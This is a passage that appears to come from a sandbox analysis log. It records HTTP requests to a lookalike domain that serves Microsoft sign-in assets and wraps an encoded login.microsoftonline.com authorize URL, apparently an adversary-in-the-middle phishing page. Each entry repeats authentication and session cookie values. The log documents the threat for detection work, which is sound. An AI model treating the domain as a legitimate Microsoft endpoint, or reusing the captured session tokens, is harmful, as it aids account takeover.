Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/oneDs_641b1cf809bdc17b42ab.js HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA
Source: global traffic	HTTP traffic detected: GET /owa/prefetch.aspx HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://6knvejjuzh3.scrdata-doc.cfd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: 